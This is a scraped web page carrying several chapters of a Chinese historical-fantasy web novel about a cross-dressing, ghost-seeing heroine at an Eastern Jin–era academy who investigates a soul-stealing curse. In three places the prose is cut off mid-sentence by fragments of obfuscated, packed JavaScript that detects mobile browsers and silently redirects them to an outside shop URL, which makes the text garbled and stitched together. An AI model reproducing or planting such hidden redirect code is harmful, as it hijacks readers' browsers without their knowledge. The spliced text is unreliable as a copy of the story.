35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064791|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是祝弥吓了一跳,是那姓梁的热情书生,白青色制服,没有纱衣,看起来大约年长她三四岁,因为下巴上有未剃尽的胡茬痕迹,和刮胡伤口。 那书生瞧见了祝弥的不自然,却还是热情得不自然,低身做了个拱手:“昨日匆匆一见,未得引荐,川生见过梦成。” 祝弥半躲在阿苓身后,跟着点头。 梁川生又说,带着这个时代文人特有的温和浅笑:“兰亭梦成,酲中投簪,一夜之间流传会稽也,可惜川生未得亲眼一见‘投簪’美景。” 可对上来的目光却灼灼,像一团浓稠含混的不明液体,在祝弥脸上盘踞游移,似要一层层渗透她的假面,直到透过时空,找到一栋灯火通明的大楼里,一具不明不白僵硬的尸体为止。 这种直觉让她不禁一阵恶寒,抖了抖。 强装镇定,简单回应几句,拉着阿苓要走去自己的宿舍。 才转身就听见背后先生和梁川生说:“那你便和刚刚那位祝梦成一舍吧。” 祝弥立马回头,抢过名册,飞速浏览一眼,定位到名为兰舍的房间下方有一个名字被划掉了。 桓幼和。 对,他丢了魂魄,不能上学了。 而旁边的名字是桓灵玦。 一眼就主意已定,祝弥把名册拍在桌子上:“先生,桓灵玦的同住空缺,我今早与他说好了同住兰舍的。我们相熟。” 桓祝两家的姻亲似乎尽人皆知,听完最后四个字,羊胡子先生丝毫不起疑,摇着扇子没有异议。 每间房间下方的名字几乎都是同姓,王和王,桓和桓,庾和庾,谢和谢,说明学舍安排都是提前自主选择的。 只阴不晴的桓灵玦还是注定BE温柔但瘆人的男主角,祝弥想都不想就有决定。 一个好歹有转圜的余地,另一个她简直是看不透。何况,她有驯服恶犬的思路了。 本想一脚踢开的兰舍,走到面前还是怂了,缩着脖子敲了敲门,推开。 一个衣着和她一模一样的身影闻声从白色玉兰花屏风后走出来。 雅步从容,束发插簪,更显面容神彩,鼻尖红痣像是仕女图皓腕上的一粒朱砂。白青交领妥帖合身,暗纹纱衣重叠出明灭,身形英挺,今日不是遥不可及的谪仙,而是朝她走来的风华少年,鲜衣怒马的意气风发。 两人眼神一接,祝弥连忙收住了上下打量的目光。 但,对方看见的是她,阴晴公子立马变阴了,脸冷了下来。 面无表情二字:“何事?” 大概看见她就像她看见梁川生吧。 她也无所谓。老实说,她不是特别见色起意的人,毕竟天底下没有比色相更有替代品的东西了。像他这样的,她私密收藏夹里有七个,一个不更新她就刷下一个。看着赏心悦目就行,不在乎看谁。 于是祝弥给个眼神让阿苓退出,然后迎上那目光仰头,死皮赖脸宣布:“我是你舍友。” 桓错像是始料未及地气笑了一样,鼻子一哼,衣袖一摆,绕过祝弥就要往外走,要去找院落入口的羊胡子先生。 而祝弥侧移一步挡住。 二人当即狭路相逢般的对视,一高一低,不说含情脉脉,一丝正常人情往来的情谊都没有。 祝弥在这个时代不矮,走在山阴城里的时候就比周围女性要高一个头,扮起男装也是有理有据,有底气,但是眼前人还是高她不少,她得仰头挑眉才能不输对视的气势。 那粒不开心的红痣像是晚风拂红烛摇晃,险些让她跟着心旌摇曳。但祝弥最擅长的就是吸取教训,熬过美人计,活下去。 心神一定,她笑了,由内而外地发笑,咧开一口灿烂笑脸:“你的玉佩一直有话想说。” 笑意定住,骤然变冷,靠近一步,摊开掌心的两根银针。 “和我住,我让你们对话。不然,你杀了我也不从。” 4. 兰亭初遇阴公子 不是祝弥想开了要寻死,胆敢挑衅黑夜杀手,而是那晚一提到玉佩,杀手简直可以说是逃跑、屁滚尿流。她也才注意到忽略掉绝对掌控和逼近的姿势,这人提问的语气其实也很恳切。 或许这事困扰他许久。 这叫什么,软肋?触及软肋,唯物主义也得跪下拜鬼神。 顺利定下兰舍之后,阿苓进来把东西收拾整洁。祝弥觉得古人的宿舍像是酒店标间,两床两桌两书架一屏风。 还行。 主仆二人又在一处偏僻无人的亭子上说最后的话。阿苓哭哭啼啼,叮嘱祝弥琐碎的吃穿住事项。 祝弥抱着她的头,笑着说:“阿苓你大我几岁,可难过就哭开心就笑,比我像小孩。” 阿苓佯怒:“不出月余小姐必会哭着想回家。立个赌,阿苓押三百钱!” “三百钱价值多少?” 不食烟火的小姐问这个话很正常吧?祝弥拍阿苓后背的手有微微一顿。 阿苓指着湖边戏水的两只大白鹅,“三百可买一只老鹅。” 祝弥望过去:“那怕是桓错的宝贝鹅,应该不止三百。” 恐怕还得搭上小命一条。 阿苓鼻子一哼:“我才不买这老天鹅呢,毛多骨重肉柴。” 老天鹅,祝弥被这词语逗得开怀大笑。 但她很快就笑不出来了。 第二天是开学。天还没亮听见鸡叫就得醒来,和新舍友隔着玉兰屏风同时起身穿衣。 没想到桓家公子养尊处优的手脚比新世纪牛马的利索多了。有人头上的发带两端怎么也系不齐。 “魂丢了如何找回来?”屏风那边的人问。 昨夜奔波劳碌匆匆入睡,话题没机会展开。 祝弥一边重系发带一边说:“你有没有听说过什么招魂仪式?是能招魂的对吧?不然魂没了他会死的,可他没死。” 屏风上的影子捂嘴沉思,身形微弯:“五行一教的鬼魂说居然是真的吗……” 果然能见鬼的不止她一个。祝弥讶异,双手还高举系发带,就绕过屏风,瞪大眼睛看着桓错,好像找到了知己。 桓错为某人的无知无语:“五行一教有很多流派,辩三玄、辩修心、辩养生……辩鬼神的,市面上典经不少,但人少见。大部分注重玄学清谈,信奉五行平衡理论,我父亲便是其一。” 祝弥更加讶异。 桓错更加无语:“士族尤爱清谈,可从他们名字里看出来,偏旁带金木水火土的,八九不离十。” 祝弥回忆起兰亭上收到的名帖,果不其然,姓王的无一例外全是,忽然指着桓错,“你确实也是!” “你们祝家是什么不问世事的隐士高人吗……今晚我让人买几本鬼神的书送过来。” “行。” “那玉佩……该怎么说话?”他问。 “会能的。信我,我是体验派有超准直觉,晚上研究研究他们学院派的说法。”祝弥整理好了头饰,甩甩袖子大步流星往外走,“先上课去。” 桓错:“……” 什么是超准直觉,鬼神派的专门用语吗。 鸡叫还没停,祭孔仪式后是第一堂讲会,山长介绍学习内容。祝弥听那一串书目不由得心里慌慌,别说熟读四书五经了,她连毛笔字都写不好。 堂后留文章时不知是她的肢体语言过于心虚还是纸张上根本一字没有,山长踱步几圈,立在她旁边。 端庄持重的声音从她头顶传来,像是天雷:“祝梦成,肩腕不稳,提笔无力,去藏经阁抄五本典籍。” 祝弥缩着肩膀,老老实实点头。 原来从拿笔的姿势就看破她了吗? 书院一天就一堂课,课后她苦哈哈背起书袋往藏经阁走,离开的时候身后有其他同学的议论声,“投簪”什么的已经带上了笑料的语气词。 祝弥完全不在意,心里在祈祷古代书都薄薄一本就好。 藏经阁在书院的最里面,是一座建在半山腰的三层高塔。 一进门,里面居然人还挺多,六七个人围坐侧厅一角对着什么东西很是兴奋。穿的衣服不是青袍,交领很宽松,腰带也松垮。 脚步很轻,她像个鬼一样站在他们背后,“先生们在做什么?” 一群人太过专注手上,吓了一大跳,花儿开似地滋哇哎呀回头,一看是个学生,才又平息下来。 中间摊着的是一摞残损破败的古书。聊了一会,才知道他们在做校书工作。 一听祝弥名字,忽然又喧闹起来。 先生七嘴八舌地说:“你祖父还是我以前那时的山长呐!书不爱教,经不爱读,就爱拿着个式盘登高望远看星星。” 祝弥惊讶,但没表现出来,笑着说:“那都是多少年前了。” 先生摸摸肚皮回忆:“都快二十年了,那时候我也是个像你这么大的少年郎呢。刚来江左,不太习惯南方的湿热,连带着看你祖父都不爽,被他罚了好多字。” 说罢几人一起畅快地相视大笑。 祝弥又问:“校的书是什么书?” 有先生说:“三年前书院那场大火,好多经文典籍没救下来,可惜啊可惜。”说着手一摊,对着地上的古籍残片,“这不烧坏了好多,书院一开,我们才得来一一校对嘛。” 听起来像是很繁重的工作,祝弥问:“先生们似乎兴致很高?” 众口一齐:“好玩啊,在家太无聊了!” 祝弥心里:懂了,古法聚众玩拼图。 又问:“可为何有大火?” 气氛骤然低沉,先生们梗着胡子相互对视沉寂几瞬。 其中一个衣领松垮至肚脐的微胖先生格外洒脱,高举手一摆,拍散晦气似的:“瞧瞧你们那讳莫如深的胆小样!不过就是怀真之乱罢了!三年前一个叫怀真的恶民仗着有些百个人口跟随,自称是流民帅,专门绕过军队布防奇袭钱唐,把书院屠了烧了,想以此摧毁门阀士族。妄想!书院还不是继续开门了。” 微胖先生挠痒痒似地摸摸胸口,又说:“要我说,就不该妥协,家里没个累世公卿的族谱,寒门都不配来这个百年书院!凭什么要扩院!” 其他人捂住他嘴巴,哀叹嘘声一片,微胖先生挣脱,非要继续说:“怀真不过就是我阿兄一时怜悯救了的贱民!反倒害了我兄长!我只恨便宜了他让他在此清幽地自尽,不能亲手手刃他!” 众人连连用“哎呀哇呀”的唏嘘声盖住,一些人按住微胖先生,一些人把祝弥赶走。 祝弥也不太感兴趣陈年旧事,还是作业更重要,她可不喜欢当不听话的学生。 找了五本最薄的书,在隔间角落里颤颤巍巍终于写完。 再见到日光时已经是薄暮时分,吃晚饭时筷子也发抖。 回到宿舍,桓错在书桌前愁眉紧锁看书。 “有什么新发现吗?” 她很疲惫,书包扔在床边,倒到床上之后声音闷在枕头里,问他。 他头也不回:“书上说,魂魄分为三魂七魄。生魂、灵魂、觉魂和喜怒哀惧爱恶欲七魄。” “嗯,再念念。” “魂为人之根本,天地感应、生命灵性、精神思虑,皆为魂也;魄应魂而生,情绪欲望,不过七种。魂属阳附于气,魄属阴附于形体,阴阳相生,五行合一也……” “嗯,那你家桓幼和丢的是一个魄。”祝弥趴在床上,脸在枕头里,一动不动,理论钻进耳朵里,还挺省力。 今日起得早,上完了课又写了四五小时的毛笔,手酸眼胀,闭着眼睛都不自觉流下干涩的生理泪水,回宿舍了还得费脑子想桓家的事情。有点让祝弥找到上辈子求生的辛酸感了,她一如既往,还是很吃苦耐劳的。 在社会规则之内做到最好,这是她信奉的公平主义,也因为做得很好而是既得利益者——所以她狗改不了吃屎,穿越了也当不了纨绔,忤逆不了师长,写字差就用力弥补。 桓错犹豫了一会,说:“幼和和王家一个门客的女儿是相好。情投意合,但门第不合,祖母拆散了。兰亭那天后,王家请了那娘子前来照料,幼和没再吐血,能吃喝睡走,只是目光呆滞,不为所动。” 祝弥:“兰亭之前发生什么了吗?” “具体不知,得问姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可俊脸张嘴,说出来的话让她好心情烟消云散:“今晚让玉佩说话,不然就当你骗我,我会杀了你,尸沉后山湖,喂鹅。” 某人麻溜滚下床。 抢过他手里的书翻看起来,“书上有什么说法?” 桓错:“最有可能的是扶乩通灵。” 扶乩原为古代巫祝的占卜术,起阵而接遇乩仙,使仙降于乩笔。凡人有事则问,仙动笔而答。 祝弥胡乱念着,照着上面说的做,“先净身,净手……” 连忙在旁边的水盆里狠狠洗了把脸,又在桌上拿了笔和灯,放到地上,跪坐下来。 深呼吸,静心凝神。 桓错在一旁冷冷地看着。 一刻钟后,依旧格外安静,只有烛火燃烧微小的滋滋声,灯芯变矮些许,祝弥投在墙上塌肩缩颈的影子变大了一点。 一声冷笑打破沉默,影子又瑟缩一下。 “再和不闻世事的梦成兄解释解释吧。” 桓错失去了耐心,抽出袖口里的刀,跪坐到她对面,一字一句对着不敢睁眼的祝弥说, “如今世道混乱,胡人据北,流民闹事。司马家得以苟延残喘偏安江左,得益于两支赫赫有名的军队,一支在兖州,是王洵乐的伯父,王年统领的定北军。另一支在荆州,桓承礼的父亲,桓仪统领的镇西军。” “嗯……”话题突兀,意义不明,但是祝弥有些打抖,额头冒汗,认真点头。 “也就是说,”随着哼笑一声,刀刃带着寒意抵到她脖子上来,“我这里轻轻一抹,祝家失了独子,你那正五品的祖父,屁都不敢放一个。” 出乎意料地,被这么一吓,一瞬间闭着眼睛的人一切不靠谱、哆哆嗦嗦的小动作顷刻收敛,整个人凌厉起来,像是换了个人,神态是生气、或者是严肃。 只见祝弥骤然睁眼,右手握住桓错持刀的手腕,带着刀贴着耳朵和头发向上一挑。忍冬纹的缨带被挑断,玉簪掉下来,清脆的咣当一声,如墨的头发盖满身体。几缕被切断的发丝落到烛火上顷刻烧尽,像是火焰腾空飞舞了一瞬。 左手向前一探,扯下他腰间的玉佩,抵在唇上。 两手动作同时迅捷,利落干脆,亦冷冷抬眸盯着桓错:“我有洁癖,不喜接触,全程别碰我。” 说罢,玉佩入口,祝弥含住,玉石的冰冷之意沿着舌尖钻入体内。意识抽丝般缓慢褪去,视线变黑前一刻,她看见面前人的表情变了,变软了。 想学他冷笑,但不知道自己有没有做出来。 5. 邪符箓偷魂换生 鸡叫一声高过一声,清晨时分,祝弥醒了。 睁眼是奇怪的视角,离地面很近。 一个巨大的白色毛茸茸三角形近在眼前,近得她霎时分辨不清这是什东西。 刚醒,思绪缓慢,正当祝弥还一动不动对着这个三角形思考,忽然毛茸茸涌动拨开,一个内旋的毛绒小眼逐渐显现。 她目光被吸引,甚至还努力凑近眯眼细看:“?” 毛眼似乎感受到了观众,拨开的动作愈发迅速,拨至最底,原来是个小孔。三角形的顶部也忽然猛烈摆动起来,好像有什么东西要从小孔里出来。 “嘎!” 一声鹅叫。 当祝弥反应过来这是什么的时候已经晚了,随着鹅尾巴一摆一摆,小孔像是水龙头似的有浑浊的东西倾泻而出。 “啊啊啊啊!” 火速弹开之后才发现僵硬的脖子疼得像是被人扭断又好心接好。 落枕是继鹅屁股之后祝弥注意到的第二件事情——以一个侧头卧趴的姿势躺了一晚,能不是落枕吗。 逃了鹅屎喷射一劫,却躲不过脆弱的自我。鹅通完了便,舒畅地扑扇翅膀,在扇过来的一阵阵不可言说味道和嘎嘎声中,祝弥痛得在地上打滚嗷嗷叫。 缓过劲来之后,祝弥捂着脖子坐了起来,和两只气宇轩昂的鹅面面相觑,又去看床铺,两张床空空如也。 祝弥:“……” 没在湖底,衣着也完好,真好。 “嘎嘎!” 但鹅坏。 扶着墙站起来,灰溜溜地洗漱穿衣,出门上课前一边思考铁锅炖大鹅的调料一边朝鹅踢了一脚。鹅灵活闪开,以两声气愤的“嘎嘎”回报。 上课的时候因为落枕姿态不雅,加之制服穿戴不齐,又面如土色,当日上课的先生认为她藐视师长,气得吹着胡子同样罚她抄写五本书。 藏经阁里的拼图先生们第一回还以为祝弥是勤勉,第二回就看破了她的真面目:文化水平相当于六岁幼儿,纯纯的半文盲,一连两天被讲会的先生罚字。 便嘻嘻哈哈地围着嘲笑她: “今日倒变成了歪脖小生?这回不能再抄二十四节气歌了吧?” “写两个字还得看几眼,笔画都背不下来么?丢人!” “祝老头当真是把‘无为’的老庄之说贯彻到底了,生儿不教吃饭的本事就算了,孙辈连提笔都不会了,哈哈,佩服!” “好在还认识几个字,还愿意来握笔,不算得没救。” 祝弥知道这些先生们自由散漫,不拘礼教,便佯作恼怒回嘲:“快去服散吧先生们,一会热意上来散发了,别求我给您倒水温酒。” 先生们撩着衣襟大笑。 忽然一只手卷着书伸入人群,递到祝弥的面前,“梦成,你抄这本罢,字少。” 分外相熟的语气。 祝弥沿着手看过去,是梁川生。 先生们帮她接下了,连连道这本内容好,还夸她人缘不错。 书本扔到她脸上来,是一本五行一教最普世的入门书籍。梁川生笑得很灿烂的脸显露在她面前。 祝弥:“……谢谢。” 桓错自那日之后就没在宿舍出现,而她还活着,只当扶乩术是成功了。 不是她从那本书本上学会了起乩的仪式,而是和鬼魂贴得够近,她“听”到鬼魂教她做的事情:身体发肤火烧献舍,附身之物入口,有求的鬼魂就上身了——书上说她这种被上身的人叫乩童,是五行一教万般珍贵、万中无一的体质。 书院的日程跟随朝堂,每五日休沐一次。 这几天祝弥不是在学堂上胆颤心惊就是藏经阁舌战群儒,两点一线,难得休息一天她在床上躺了个日上三竿。 睁眼就是三四天未见的桓错,很没边界感地站在床前盯着她。 祝弥拉紧被子保护自己,不怕死地和他对视,“……” 见她醒来,他移开视线,摸摸鼻子:“王家又有人出事了,你这几日,可有看出什么没有?” 她摇头。她何德何能管得到王家的事情。 他说:“你和我走一趟。” “?” 别太自来熟了。祝弥心里有气:“不去,凭什么要听你驱使。” “是王季林,昨夜七窍流血,暴毙。” 她起床加洗漱整理仪容只用了不到一刻钟,比上学时还快。快步跟着桓错走到院门口,那停了两匹劲马。 桓错翻身上马,祝弥反倒站着不动了。 马上人看马下人:“?” 马下人正被马扫尾吓得后退两步。 桓错诧异:“你不会骑马?” 有人嘴硬:“哼,我怎么可能不会!” 说着就要上马。 结果马滑步一下,人脚蹬也没踩上去,便咿咿呀呀地半摔扶树。 她还打算重新尝试一下,忽然后领一紧,被人腾空提了起来,坐到了另一个马屁股上,坐到了一个身后。 桓错:“事急,赶时间。” 说罢,马就动了起来,竹林开始向后退。 祝弥险些被惯性拽倒,连忙抓住他的腰,尴尬解释:“实不相瞒,君子六艺,我学了零项。” 桓错后背宽大得多,快要遮蔽她的全部视线,听见他声音淡淡,好像带笑,只是不知是冷笑热笑:“君子六艺,不包括骑马,那你还倒欠一艺。祝家果然深藏不露。” 祝弥大喊:“快去王家吧,让我看看是怎么个事!” 祝弥这几天下来和藏经阁的先生们快处成了朋友,在先生们一声声“质朴未琢,璞玉之才”的明夸暗贬中迷失了自我。 而琅琊王氏得祖荫庇,个个文学官学在身,书院中先生十个里有五个姓王。 出事的王季林就是那天在藏经阁服散上头,口出狂言的微胖先生。 谁料得到那个散发后会乐呵呵求她给他温酒的微胖先生骤然遭此横祸。祝弥最后见他是前天日暮,他喝了酒,又睡到最后一个走。 祝弥抄完了书,把他摇醒。二人便一同锁门往外走。 巧合的是,那天斜日刺眼,祝弥挡了挡脸,随口问他:“服散、饮酒,都是伤身之举,季林先生不怕死吗?” 先生答:“活在当下,死有何畏。” 祝弥没细细咀嚼这种日落闲谈,只觉得太过潇洒难以苟同,故不摇头不点头。 先生又笑着说:“你们还小,心气执着,怕死也正常。再过几年看开了可别找先生哭诉喝酒!” 但才过去一天,过去的也是他的一生。 尽管跟在桓错背后,闻见好闻的冷萃木香,还可以肆无忌惮地摸摸劲腰,祝弥的心情还是低迷下来,“和我说说扶乩之后的场面吧,我也是第一次,两眼一黑,什么都不记得了。” 腰间的玉佩随着骑马的节奏起起落落,打了祝弥几次手。 对方沉思几息,缓缓道来:“……和母亲久违地聊了聊,恍若隔世。” 桓错这几天过的是浑浑噩噩。 那晚,扶乩显灵,祝梦成含住的玉佩又掉下来,他连忙低头去接。刚想发作,对上的脸几乎可以说是一瞬间变成了母亲的脸,蹙眉的力度,嘴角的弧度,眼神的温度,说话的语气,无一不是熟悉的母亲模样,就连说的话……声声泣泪,句句抱歉。 母亲想带进棺材里、没说出口的话,竟成了她死后亡魂弥留世间、无法离去的枷锁。 如果这一切是姓祝的神棍别有用心设下的圈套,他甚至,心甘情愿入局。 祝弥:“原来如此。你样貌……不像纯中原人。” 桓错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064793|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“母亲原是西域的鄯善人,她遗愿是——” “魂归故土。”祝弥替他说。 “嗯。” 忽然两人都没话,只有竹林风声和马蹄声哒哒。 “桓错,你怕死吗?”她问。 对方慢了几秒,笑答:“至少不比你怕死。” “哼。” 祝弥:上一个被我这么问的已经死了。 快马疾驰不知多久,两人到了山阴县的王家大门前。祝弥踉踉跄跄地摔下马,扶着腰,一副少了半条命的样子。 桓错没看她,在马上整理腰带,“不是说不喜接触吗,一路勒得我也怪累。” 祝弥:“……” 两人正欲进门,没想到跌跌撞撞冲出来一个女子低着头,不小心撞了后面的祝弥一下。祝弥没多在意,只有些哀愁地想到季林先生。前面的桓错却回头了,凝眉盯着那背影。 祝弥险些撞上他:“?” “追上她。” 说完就跟上去了,几步拦住女子,那女子便袖口挡脸,肩膀抽动呜咽起来。 祝弥身后也急急出来一个人,“李三娘——哎梦成,你终于来了。” “洵乐。” 很快,三个风仪挺拔的公子围着一个哭泣的小娘子,站在路边,有些引人侧目。 这李三娘子正是失了魄的桓幼和的相好,祖上世代行医施药。 而桓幼和自小体弱,李三娘往王家送药送多了,两人不知何时看对了眼。 这几日被请在王家悉心照料桓幼和,结果非但一点效果没有,昨日下午的时候,王季林来看望,和她多说了几句话。 晚上人就离奇惨死。 桓老夫人失了亲侄子当即晕倒,醒来之后给了这李娘子两耳光,逼问她是不是下了什么毒施了什么方术。 祝弥:“……” 王洵乐安抚李娘子去偏房,桓错悄无声息带着祝弥去灵堂。王家闭着门,还未发丧,听下人说在会稽中已发帖请遍方士道士前来驱邪。 祝弥只远远看了一眼灵堂上盖着白布的人就双腿不稳几乎欲倒。 “你看到了什么?” 桓错想扶住她。 她抬手挡住,自己站稳了,“没事,大概是骑马骑的。” 目光在前,皱眉,“有点怪。” 人死后,三魂皆自有去处去。而七魄则弥留在身体里,随着腐败而七天散一魄,待到七七四十九天之后,才算是魂飞魄散,人之精气神彻底湮灭。 这就是祝弥能看到的自然死亡全过程,就如同落花变春泥。 但王季林什么都没有,才第一天,空壳一具,像干草,被吸干了。 掀开白布,对上一张惨白浮肿的脸,祝弥正面对上死亡,有些伤感,忍不住回避视线,又努力看回来:“这几日我一直在藏经阁,季林先生是几位校书先生里最懒散的,卧榻上他躺的时间最多,最爱使唤我温酒。他也有关心我是不是家里发生了事,问我为何逃了这么多年的读书,入了学反而痛改前非刻苦练字。昨日我没被罚,没去藏经阁……嗯?” 似乎察觉到了什么,祝弥拧眉定目,手掌抚上王季林苍白干瘪的嘴唇,往下移,在腹部按了一下。 一瞬之间,祝弥的腹部跟着震动一下,像是瓷瓶猛然迸裂,瓶中水倾泻而尽。她没有任何预兆地吐了,扶着灵堂木板,弓腰不能直起。 桓错见状大惊,拍她后背,感受到她的脊背又一硬,被她攥着的半条衣袖上却晕开血色印迹。这回吐的是鲜红热意的血,桓错眨眼之间又被染红了。 怀里人说不出来话,发出不成语调的气泡音,脱力软倒。 他不由失声喊道:“祝梦成!” 这时院门传来哒哒的脚步声,有人急急一声喊:“桓灵玦!快把他拿走!” 6. 邪符箓偷魂换生 祝弥没失去意识,只是骤觉身体失控,眼睁睁看着桓错揽腰扛起自己就往外跑,有血逆流至鼻腔,她却不觉得难受。 离灵堂越来越远之后,她才有反应地剧烈咳嗽。 被放到李三娘子和王洵乐在的偏房榻上,祝弥蜷缩着身体用衣袖擦血,还在咳。 李三娘惊倒在椅子里,喃喃:“怎么和幼和一样……” 桓错着急对祝弥:“你可是被摄魂了?还清醒不清醒?!” 王洵乐几乎冲出门外:“我去喊医师!” “不用。”最后跟进来的那人把王洵乐拦住,拿出一方黄纸贴在祝弥背上,祝弥才慢悠悠举起一只手,示意自己意识还在。 来人是庾彦庭,刚刚在院门大喊的人,也是兰亭那天,第一个给祝弥递名帖还介绍谯郡桓氏的骑马少年。 缓了好久,不再有瓶底迸裂,漏掉内里一切的感觉,祝弥把鼻腔里的血咳了个干净,幽怨一声:“试试差点被自己的血呛死是什么感受。” 桓错:“……我只怕第二个幼和又得栽我手上。” 王洵乐着急摊开两手:“这到底是怎么回事?!” 桓错脸色铁青:“鬼神说,是真的。” 庾彦庭对着桓错得意道:“我没听错吧,桓家大郎君不是堂堂正正只事人不事鬼,不是‘子不语怪力乱神’吗?怎么说改口就改口了?” 桓错看了一眼祝弥,对上呛他的人,笑:“可别把这功劳算你头上。我还是看不惯你那一套唬人作秀。” 庾彦庭即是颍川庾氏,姑姑是当今皇太后,伯父在建康扶持幼帝,把持朝政。庾彦庭不喜士族子弟间的玄学清谈,只好游山玩水,结识同识之士。前几年野外险些出事得一道士相救,从此便拜入道观。只因家里凡尘俗世因果重,不便取道号,只做了个乐善好施的关外弟子。 如今皇权内部更替频繁,盘踞在北方的胡人们都当隔着一条江的建康是块唐僧肉,虎视眈眈。 如果说建康是大人物争夺权力随时大洗牌的棋盘战场,那山阴就是他们培养后备人才的后花园,安宁自由无拘无束得像世外桃源。 所以名门士族多把本宅定在会稽山阴,一是依山傍水风水好,二是更南、安全,相对于不安定的建康来说。 是以此刻站在偏房的这三位少年,家里都是当朝炙手可热的权贵人物,有兵的有兵,有权的有权。也是名副其实的青梅竹马,从还不管住尿尿的年纪就相互不服输非要骑在对方头上。 这几年庾彦庭变成画符念咒的神棍,被桓王二人好一顿嫌弃,渐渐疏远了。只是昨日王家骤然发生噩耗,请了附近有名的道士,庾彦庭也收到消息,原本在街口看见三人站在路边,不想赶过来的一会功夫就见到这血溅灵堂的悲壮一幕。 他给祝弥背后贴的符咒是师父提前画好的安魂符。 贴了符,祝弥还真就平静下来了,摸摸肚子,擦擦嘴角,只道无事。 桓幼和出事的时候庾彦庭还将信将疑,见到了王季林的死状和祝弥的样子,只感慨自己果然目光如炬,察人很准,师父诚不欺他。 庾彦庭谈的是五行一教的鬼神派,理论知识学了一大堆,摩拳擦掌还没实操过。而祝弥天生通灵,连魂魄之分都搞不明白只会凭着一张嘴把看到的说出来惹是非。 二人对视一眼便觉得“有此兄在道生圆满”,真真是异父异母的二见如故的亲兄弟。 二人眼神对话:有果必有因,王季林昨日一定是发生了什么。 正逢灵堂那边已经布好了召魂阵,法器叮铃和数位道长念咒阵阵有词的声音传来。 庾彦庭拽着王洵乐前去打探情况。 李三娘子找来干净衣物给祝弥和桓错。 两个血人相互瞧着,像照镜子似地后知后觉自己实在狼狈。 李三娘子话不多,离开之前把门轻轻合上。 两人面面相觑无言,桓错低头解腰带。 “等等!”祝弥抬手拦住。 “?” “呃……”祝弥一时语塞,环视了一圈这个小小偏房,连屏风都无。 桓错立刻警惕,跟着她环视:“是不是有什么东西靠近?” “不是,我有洁癖,不喜被看,不如你先出去?” 桓错低头看了看自己已经松垮了的交领,和露出来的锁骨,“……” 祝弥立刻改口:“那我先出去。” 话不多说,她抱着衣服就站在了外面。 隔着一堵门,桓错一边换衣,犹豫一会,对门外的影子说:“梦成可还是在生我的气?交心一下,如果别人拿你亡母——我是说如果——的事情开玩笑,你会怎么样?你试试如果是对洵乐说他父亲的事情,别看他总是笑意盈盈的,下手比我还快。” “嗯。”门外人满不在乎应了一声。 穿好,开门,桓错见祝弥神色不算太好,又说:“你真没事?” 祝弥没看他,只摇摇头要往里走。 却被他挡住,低头逼近,气息也骤近,这人实在有些没边界感。 “之前的事算是我失礼冒犯,我和你道歉。”笑了一下,他又低声补充:“但是母亲与我的谈话天知地知我知、或许你也知,如果我发现有人别有用心在这事上做文章——” 话没说完,意思已够到位,手还在她肩上不着痕迹地放了一下,暗含力道。 祝弥看完这人的道歉变威胁的变脸全过程,没做太多表情,甩开那手,关上门。 门外人低头整理袖袍,有些云淡风轻,“也别再提‘姓马’一事。” 二人换完衣物,庾彦庭和王洵乐也回来了。 “那几个道士也都说怪。尸身对召魂阵全无反应,像是魂魄已经彻底消散。”庾彦庭说完,转个目光细细打量着祝弥,说:“你知道你为什么对尸身有反应吧?” 祝弥微微点头:“前几日,我起了扶乩术。” 桓错一愣。 庾彦庭拍着手叫:“倒好!见到活生生的乩童了!” 被鬼魂附身,相当于就是打开自己的原本封闭圆满的魂魄命门迎接外来物。扶乩结束,祝弥实打实困倦昏殆了好几天。如今未恢复完毕便碰到了残留在尸身上凶悍的夺魂咒,毫无抵抗力,险些跟着去了。 祝弥说:“阵法在腹部,季林先生是吃了什么。” 王洵乐皱眉:“李三娘说昨日叔父格外口渴,找她吃了两碗水。除此之外没什么异样。” 庾彦庭还在笑:“符咒焚化成灰,灰烬泡水,人饮尽则咒在体内。下咒人也太老套!” 祝弥想起来那日在藏经阁提到书院大火,王季林少见的失态狂语,便和他们提了一嘴。 没想到气氛忽然凝重。 最后是由王洵乐开了口:“那是我父亲。十多年前,怀真作为他的书童在书院伴读。怀真识了字,怨恨起命运不公。起义后被官兵逼得山穷水尽,最后带着残兵败将,非要来书院烧经阁。那时我父亲刚辞官做山长。我听到消息立刻赶去,父亲已经被杀,我看见……怀真自缢在他旁边。” 众人沉默良久,王洵乐自嘲笑道:“五行一教所言不虚,我家命犯火,主水才可阴阳调和。” 庾彦庭按了按他的肩膀,沉思:“难道是王季林的话刺激到了怀真的凶魂,凶魂苏醒,趁夜索命?” 祝弥摇摇头:“鬼魂无依托,不可存在。” 庾彦庭笑:“你怎知无依托?走!去书院看看!” 说走就走,仆从牵出四匹马,两人迅捷翻身上马,却眼睁睁看着另外两人爬上同一匹马。 祝弥躲在桓错背后,羞愧道:“我四体不勤五谷不分六艺不通。” 庾彦庭无情揭穿:“骑马非六艺也。” 王洵乐羡慕:“世家子弟无不修剪成芝兰玉树,梦成倒像是野草丛生,生机勃勃。” 祝弥心道:对,就你嘴甜。 赶至书院,休沐日院内格外清静。藏经阁不知被何人上了锁,几人正犹豫破锁的方式,桓错袖中抽刀,削铁如泥,锁环落地。看得祝弥眼皮跳跳。 